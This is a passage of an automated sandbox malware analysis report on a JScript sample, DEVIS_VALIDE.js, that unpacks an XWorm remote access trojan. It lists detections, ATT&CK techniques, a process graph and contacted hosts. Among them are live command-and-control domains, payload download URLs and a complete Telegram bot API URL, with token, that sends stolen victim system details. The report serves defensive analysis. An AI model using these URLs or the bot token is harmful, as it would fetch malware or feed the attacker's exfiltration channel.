                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8700, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8224, type: MEMORYSTR
                  Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
                  Tries to harvest and steal browser information (history, passwords, etc)
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

                  Remote Access Functionality

                  barindex
                  Yara detected Telegram RAT
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8080, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 2568, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1820, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8700, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8224, type: MEMORYSTR
                  Yara detected XWorm
                  Source: Yara matchFile source: 53.2.powershell.exe.1d3333e0230.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 44.2.powershell.exe.1558669f3b8.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 36.2.powershell.exe.1de3d91f608.1.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 28.2.powershell.exe.1e6806fed08.1.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 20.2.powershell.exe.20ece618be0.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 44.2.powershell.exe.1558669b658.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 28.2.powershell.exe.1e6806fafa8.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 20.2.powershell.exe.20ece614e80.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 36.2.powershell.exe.1de3d91b8a8.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 53.2.powershell.exe.1d3333dc4d0.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000020.00000002.2087880132.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000035.00000002.2425933120.000001D3332B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000014.00000002.2013251264.0000020ECE7E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000035.00000002.2425933120.000001D3335B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000002C.00000002.2333261639.000001558655B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000014.00000002.2013251264.0000020ECE53D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000001C.00000002.2070695014.000001E6808CE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000024.00000002.2195585060.000001DE3DAEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000001C.00000002.2070695014.000001E6805BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8080, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 2568, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 2540, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1820, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8700, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8224, type: MEMORYSTR
                  Source: Yara matchFile source: sslproxydump.pcap, type: PCAP

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity Information32
                  Scripting                  		Valid Accounts11
                  Windows Management Instrumentation                  		32
                  Scripting                  		1
                  DLL Side-Loading                  		11
                  Disable or Modify Tools                  		1
                  OS Credential Dumping                  		2
                  File and Directory Discovery                  		Remote Services11
                  Archive Collected Data                  		2
                  Web Service                  		1
                  Exfiltration Over Alternative Protocol                  		Abuse Accessibility Features
                  CredentialsDomainsDefault Accounts1
                  Exploitation for Client Execution                  		1
                  DLL Side-Loading                  		211
                  Process Injection                  		11
                  Deobfuscate/Decode Files or Information                  		1
                  Input Capture                  		13
                  System Information Discovery                  		Remote Desktop Protocol1
                  Data from Local System                  		1
                  Ingress Tool Transfer                  		Exfiltration Over BluetoothNetwork Denial of Service
                  Email AddressesDNS ServerDomain Accounts2
                  Command and Scripting Interpreter                  		21
                  Registry Run Keys / Startup Folder                  		21
                  Registry Run Keys / Startup Folder                  		21
                  Obfuscated Files or Information                  		Security Account Manager311
                  Security Software Discovery                  		SMB/Windows Admin Shares1
                  Input Capture                  		11
                  Encrypted Channel                  		Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal Accounts4
                  PowerShell                  		Login HookLogin Hook3
                  Software Packing                  		NTDS1
                  Process Discovery                  		Distributed Component Object Model1
                  Clipboard Data                  		1
                  Non-Standard Port                  		Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                  DLL Side-Loading                  		LSA Secrets231
                  Virtualization/Sandbox Evasion                  		SSHKeylogging2
                  Non-Application Layer Protocol                  		Scheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                  File Deletion                  		Cached Domain Credentials1
                  Application Window Discovery                  		VNCGUI Input Capture213
                  Application Layer Protocol                  		Data Transfer Size LimitsService Stop
                  DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                  Masquerading                  		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                  Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                  Modify Registry                  		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                  Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt231
                  Virtualization/Sandbox Evasion                  		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                  IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron211
                  Process Injection                  		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1559259 Sample: DEVIS_VALIDE.js Startdate: 20/11/2024 Architecture: WINDOWS Score: 100 125 moneyluck.duckdns.org 2->125 127 pastebin.com 2->127 129 5 other IPs or domains 2->129 143 Suricata IDS alerts for network traffic 2->143 145 Found malware configuration 2->145 147 Malicious sample detected (through community Yara rule) 2->147 153 24 other signatures 2->153 13 wscript.exe 1 1 2->13         started        16 cmd.exe 2->16         started        18 cmd.exe 2->18         started        20 2 other processes 2->20 signatures3 149 Uses dynamic DNS services 125->149 151 Connects to a pastebin service (likely for C&C) 127->151 process4 signatures5 185 JScript performs obfuscated calls to suspicious functions 13->185 187 Suspicious powershell command line found 13->187 189 Wscript starts Powershell (via cmd or directly) 13->189 191 2 other signatures 13->191 22 powershell.exe 7 13->22         started        25 powershell.exe 16->25         started        27 conhost.exe 16->27         started        29 powershell.exe 18->29         started        31 conhost.exe 18->31         started        33 powershell.exe 20->33         started        35 powershell.exe 20->35         started        37 conhost.exe 20->37         started        39 conhost.exe 20->39         started        process6 signatures7 155 Suspicious powershell command line found 22->155 157 Encrypted powershell cmdline option found 22->157 159 Self deletion via cmd or bat file 22->159 167 5 other signatures 22->167 41 powershell.exe 14 19 22->41         started        45 conhost.exe 22->45         started        161 Writes to foreign memory regions 25->161 163 Uses powershell cmdlets to delay payload execution 25->163 165 Injects a PE file into a foreign processes 25->165 47 powershell.exe 25->47         started        53 2 other processes 25->53 49 powershell.exe 29->49         started        55 2 other processes 29->55 51 powershell.exe 33->51         started        57 2 other processes 33->57 59 3 other processes 35->59 process8 dnsIp9 131 desckvbrat.com.br 191.252.83.213, 21, 49730, 49731 LocawebServicosdeInternetSABR Brazil 41->131 133 paste.ee 188.114.97.3, 443, 49732, 49735 CLOUDFLARENETUS European Union 41->133 115 C:\Users\user\AppData\Local\Temp\dll03.ps1, Unicode 41->115 dropped 61 powershell.exe 14 41->61         started        66 powershell.exe 47->66         started        68 powershell.exe 49->68         started        70 powershell.exe 51->70         started        72 powershell.exe 59->72         started        file10 process11 dnsIp12 139 masclauxtoitures.fr 64.235.43.128, 443, 49740 PREMIANETUS United States 61->139 141 pastebin.com 104.20.3.235, 443, 49737, 49746 CLOUDFLARENETUS United States 61->141 119 C:\Users\user\AppData\LocalLow\...\jamie.ps1, Unicode 61->119 dropped 121 C:\Users\user\AppData\LocalLow\...\iyvmd.ps1, ASCII 61->121 dropped 123 C:\Users\user\AppData\LocalLow\...\ainzw.ps1, ASCII 61->123 dropped 199 Self deletion via cmd or bat file 61->199 201 Uses powershell cmdlets to delay payload execution 61->201 203 Potential dropper URLs found in powershell memory 61->203 205 Adds a directory exclusion to Windows Defender 61->205 74 powershell.exe 61->74         started        78 cmd.exe 1 61->78         started        80 cmd.exe 1 61->80         started        90 4 other processes 61->90 82 powershell.exe 66->82         started        84 powershell.exe 68->84         started        86 powershell.exe 70->86         started        88 powershell.exe 72->88         started        file13 signatures14 process15 file16 117 C:\Users\user\AppData\Roaming\pesister.ps1, ASCII 74->117 dropped 169 Writes to foreign memory regions 74->169 171 Uses powershell cmdlets to delay payload execution 74->171 173 Injects a PE file into a foreign processes 74->173 92 RegAsm.exe 74->92         started        96 RegAsm.exe 74->96         started        98 powershell.exe 74->98         started        175 Suspicious powershell command line found 78->175 177 Wscript starts Powershell (via cmd or directly) 78->177 100 powershell.exe 15 78->100         started        102 powershell.exe 80->102         started        179 Loading BitLocker PowerShell Module 90->179 104 WmiPrvSE.exe 90->104         started        signatures17 process18 dnsIp19 135 moneyluck.duckdns.org 178.73.218.6, 49749, 49751, 7000 PORTLANEwwwportlanecomSE Sweden 92->135 137 api.telegram.org 149.154.167.220, 443, 49747 TELEGRAMRU United Kingdom 92->137 193 Tries to harvest and steal browser information (history, passwords, etc) 92->193 195 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 96->195 106 powershell.exe 98->106         started        197 Suspicious powershell command line found 100->197 108 powershell.exe 100->108         started        111 powershell.exe 102->111         started        signatures20 process21 signatures22 113 powershell.exe 106->113         started        181 Creates autostart registry keys with suspicious values (likely registry only malware) 111->181 183 Creates multiple autostart registry keys 111->183 process23

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  DEVIS_VALIDE.js8%ReversingLabsWin32.Trojan.Generic

                  Dropped Files

                  ⊘No Antivirus matches

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  ⊘No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  http://crl.microsoftsl0%Avira URL Cloudsafe
                  https://masclauxtoitures.fr0%Avira URL Cloudsafe
                  https://masclauxtoitures.fr/X67h2024kNWORM.txtP0%Avira URL Cloudsafe
                  https://masclauxtoitures.fr/x67h2024knworm.txt0%Avira URL Cloudsafe
                  http://www.microsoft.i0%Avira URL Cloudsafe
                  http://ftp.desckvbrat.com.br100%Avira URL Cloudmalware
                  http://desckvbrat.com.br100%Avira URL Cloudmalware
                  http://masclauxtoitures.fr0%Avira URL Cloudsafe
                  moneyluckwork.ddns.net100%Avira URL Cloudmalware
                  http://crl.microsoftEO0%Avira URL Cloudsafe
                  moneyluck.duckdns.org100%Avira URL Cloudmalware

                  Domains and IPs

                  Contacted Domains

                  NameIPActiveMaliciousAntivirus DetectionReputation
                  moneyluck.duckdns.org
                  		178.73.218.6
                  		truetrue
                    		unknown
                    paste.ee
                    		188.114.97.3
                    		truefalse
                      		high
                      masclauxtoitures.fr
                      		64.235.43.128
                      		truetrue
                        		unknown
                        desckvbrat.com.br
                        		191.252.83.213
                        		truetrue
                          		unknown
                          api.telegram.org
                          		149.154.167.220
                          		truefalse
                            		high
                            pastebin.com
                            		104.20.3.235
                            		truefalse
                              		high
                              ftp.desckvbrat.com.br
                              		unknown
                              		unknowntrue
                                		unknown

                                Contacted URLs

                                NameMaliciousAntivirus DetectionReputation
                                https://paste.ee/d/aGYNy/0false
                                  		high
                                  https://masclauxtoitures.fr/X67h2024kNWORM.txttrue
                                    		unknown
                                    https://api.telegram.org/bot6063212727:AAGxI15ihXd3ydfdlrCIMNDRzM08Ew5M1gY/sendMessage?chat_id=1188038887&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A1F61296E2D13B1021028%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20WG6__62%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6false
                                      		high
                                      moneyluckwork.ddns.nettrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      https://pastebin.com/raw/GF0ptUGbfalse
                                        		high
                                        https://paste.ee/d/I1o5h/0false
                                          		high
                                          moneyluck.duckdns.orgtrue
                                          • Avira URL Cloud: malware
                                          		unknown
                                          https://pastebin.com/raw/CPCMnN7kfalse
                                            		high
                                            https://paste.ee/d/Nbuiz/0false
                                              		high

                                              URLs from Memory and Binaries

                                              NameSourceMaliciousAntivirus DetectionReputation
                                              https://masclauxtoitures.fr/x67h2024knworm.txtpowershell.exe, 00000004.00000002.1992997309.00000177DA574000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://api.telegram.org/botpowershell.exe, 00000014.00000002.2013251264.0000020ECE7E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECE53D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E6808CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E6805BB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.2087880132.0000000000402000.00000040.00000400.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3DAEF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.000001558655B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D3332B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D3335B0000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://crl.microsoftpowershell.exe, 00000010.00000002.1926571545.00000220D1494000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2824594158.000001E6F71F8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2664986969.000001E6F4E75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://ftp.desckvbrat.com.brpowershell.exe, 00000004.00000002.1992997309.00000177DA44D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA140000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  http://desckvbrat.com.brpowershell.exe, 00000004.00000002.1992997309.00000177DA44D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  https://pastebin.com/rawpowershell.exe, 00000004.00000002.1992997309.00000177DA4C7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.microsoft.copowershell.exe, 00000010.00000002.1926571545.00000220D1494000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2824594158.000001E6F71F8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://contoso.com/Licensepowershell.exe, 00000010.00000002.1930109525.00000220D4AEC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://analytics.paste.eepowershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://paste.eepowershell.exe, 00000004.00000002.1992997309.00000177D91EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D8EE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA476000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://crl.microsoftslpowershell.exe, 00000014.00000002.2002371682.0000020ECC1A4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://www.google.compowershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://contoso.com/powershell.exe, 00000010.00000002.1930109525.00000220D4AEC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://nuget.org/nuget.exepowershell.exe, 00000005.00000002.2087171202.000002B6AA552000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1977461538.0000024FF25A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3165334469.00000220E31E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3165334469.00000220E3327000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1930109525.00000220D4AEC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://cdnjs.cloudflare.compowershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://crl.micft.cMicRosofpowershell.exe, 00000005.00000002.2336065211.000002B6B2AC0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://cdnjs.cloudflare.com;powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000004.00000002.1992997309.00000177D8CC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1896186167.000002B69A4E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1895604908.0000024FE2531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2087771963.00000182AAD91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1930109525.00000220D3171000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECDFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E680048000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2229713334.0000020922D98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D2A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.2332458861.000001709AAC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015585FE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2361827508.0000025F80084000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2496598586.000001628D0FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D332D7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2666286370.000001D9870E4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://secure.gravatar.compowershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://nuget.org/NuGet.exepowershell.exe, 00000005.00000002.2087171202.000002B6AA552000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1977461538.0000024FF25A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3165334469.00000220E31E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3165334469.00000220E3327000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1930109525.00000220D4AEC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://masclauxtoitures.frpowershell.exe, 00000004.00000002.1992997309.00000177DA574000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91C6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              http://crl.microsoftEOpowershell.exe, 0000002C.00000002.2318654419.0000015584245000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000010.00000002.1930109525.00000220D33A2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                http://paste.eepowershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000005.00000002.1896186167.000002B69A702000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1895604908.0000024FE2752000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000010.00000002.1930109525.00000220D33A2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://go.micropowershell.exe, 00000032.00000002.2496598586.000001628D6EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2666286370.000001D9875DD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://masclauxtoitures.frpowershell.exe, 00000004.00000002.1992997309.00000177DA574000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.microsoft.ipowershell.exe, 00000005.00000002.2334258140.000002B6B29B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        https://www.google.com;powershell.exe, 00000004.00000002.1992997309.00000177D9144000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://crl.micpowershell.exe, 00000005.00000002.2336065211.000002B6B2AC0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://contoso.com/Iconpowershell.exe, 00000010.00000002.1930109525.00000220D4AEC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://masclauxtoitures.fr/X67h2024kNWORM.txtPpowershell.exe, 00000004.00000002.1992997309.00000177DA574000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://github.com/Pester/Pesterpowershell.exe, 00000010.00000002.1930109525.00000220D33A2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                https://paste.ee/d/Nbuiz/0Ppowershell.exe, 00000004.00000002.1992997309.00000177DA476000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000005.00000002.1896186167.000002B69A702000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1895604908.0000024FE2752000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://pastebin.com/raw/GF0ptUGb)powershell.exe, 0000002C.00000002.3141181707.000001559E13A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
